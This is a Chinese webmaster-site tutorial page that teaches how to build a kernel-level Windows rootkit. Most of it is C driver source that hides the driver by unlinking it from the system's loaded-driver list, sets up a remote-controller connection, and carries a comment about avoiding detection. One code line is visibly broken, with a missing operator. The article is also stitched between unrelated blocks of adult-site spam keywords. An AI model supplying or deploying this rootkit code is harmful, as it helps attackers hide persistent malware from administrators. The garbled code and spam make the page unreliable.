精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 安全教程 查看內(nèi)容

Rootkit隱形技術(shù)教程

2022-9-24 13:11| 查看: 2018 |來源: 互聯(lián)網(wǎng)

一、綜述 本文將引領(lǐng)讀者打造一個初級的內(nèi)核級Rootkit,然后為其引入兩種簡單的隱形技術(shù):進程隱形技術(shù)和文件隱形技術(shù)。同時,為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗,我們順便介紹了rootkit的裝載、卸載方法,以
一、綜述

本文將引領(lǐng)讀者打造一個初級的內(nèi)核級Rootkit,然后為其引入兩種簡單的隱形技術(shù):進程隱形技術(shù)和文件隱形技術(shù)。同時,為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗,我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術(shù)。

本文介紹的Rootkit的主要構(gòu)件是一個設(shè)備驅(qū)動程序,所以我們首先了解一下我們的第一個rootkit。

二、rootkit主體

本節(jié)引入一個簡單的rootkit實例,它實際上只給出了rootkit的主體框架,換句話說,就是一個設(shè)備驅(qū)動程序。那么為什么要用設(shè)備驅(qū)動程序作為主體呢?很明顯,因為在系統(tǒng)中,設(shè)備驅(qū)動程序和操作系統(tǒng)一樣,都是程序中的特權(quán)階級——它們運行于Ring0,有權(quán)訪問系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點需要說明的是,因為本例主要目的在于介紹rootkit是如何隱形的,所以并沒有實現(xiàn)后門之類的具體功能,。

我們將以源代碼的形式說明rootkit,對著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面,先給出我們用到的第一個文件,它是一個頭文件,名為Invisible.h,具體如下所示:

//Invisible.h:我們rootkit的頭文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;

#endif

我們知道,應(yīng)用軟件只要簡單引用幾個文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動程序這里就行不通了,原因大致有二條,一是驅(qū)動程序體積一般較為緊湊,二是驅(qū)動程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。

這里定義的類型中,有一個數(shù)據(jù)類型要提一下:雙字類型,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows 操作系統(tǒng)未公開的一個數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動程序目錄中上一個和下一個設(shè)備驅(qū)動程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動程序來實現(xiàn),所以,只要從設(shè)備驅(qū)動程序目錄中將我們的rootkit(即驅(qū)動程序)所對應(yīng)的目錄項去掉,系統(tǒng)管理程序就看不到它了,從而實現(xiàn)了隱形。

上面介紹了rootkit的頭文件,現(xiàn)在開始介紹rootkit的主體部分,它實際就是一個基本的設(shè)備驅(qū)動程序,具體代碼如下面的Invisible.c所示:

// Invisible

#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"

// 全局變量
ULONG majorVersion;
ULONG minorVersion;

//當(dāng)進行free build時,將其注釋掉,以防被檢測到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;

//取得操作系統(tǒng)的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003

if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{

DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}

// 隱藏該驅(qū)動程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 將本驅(qū)動程序的相應(yīng)目錄項從項驅(qū)動程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}

// 允許卸載本驅(qū)動程序

pDriverObject->DriverUnload = OnUnload;

// 為本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}

return STATUS_SUCCESS;
}


本文最后更新于 2022-9-24 13:11,某些文章具有時效性,若有錯誤或已失效,請在網(wǎng)站留言或聯(lián)系站長:17tui@17tui.com
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 日本黄色高清网站 | 国内精品福利在线视频 | 草草视频免费在线观看 | 麻豆福利视频 | 视频一区二区免费 | 国产精品亚洲玖玖玖在线靠爱 | 欧美一级特黄aaaaaaa在线观看 | 久久在线免费观看视频 | 国产a级淫片 | 丁香婷婷久久大综合 | 日本一级毛片中文字幕 | 青青国产成人久久激情911 | 香蕉视频91 | 亚洲精品一区最新 | 日韩中文字幕免费 | www.黄色片.com | 一级a性色生活片毛片 | 伊人影院中文字幕 | 国产伊人影院 | 国产制服丝袜在线 | 精品视频一区二区三区四区 | 久久久网 | 亚洲精品视频二区 | 国产精品一在线观看 | a一级网站| 国产美女精品 | 狠狠色综合久久丁香婷婷 | 国产性老妇女做爰在线 | 亚洲视频第二页 | 久久精品视频免费播放 | 久久精品全国免费观看国产 | 国产精品久久久久久久久免费hd | 38pao强力打造永久免费高清视频 | 免费在线观看成人 | 欧美精品做人一级爱免费 | 精品免费久久久久久成人影院 | 亚洲理论在线观看 | 快色网站 | 日本不卡高清中文字幕免费 | 国产黑人在线 | 日韩一区国产二区欧美三区 |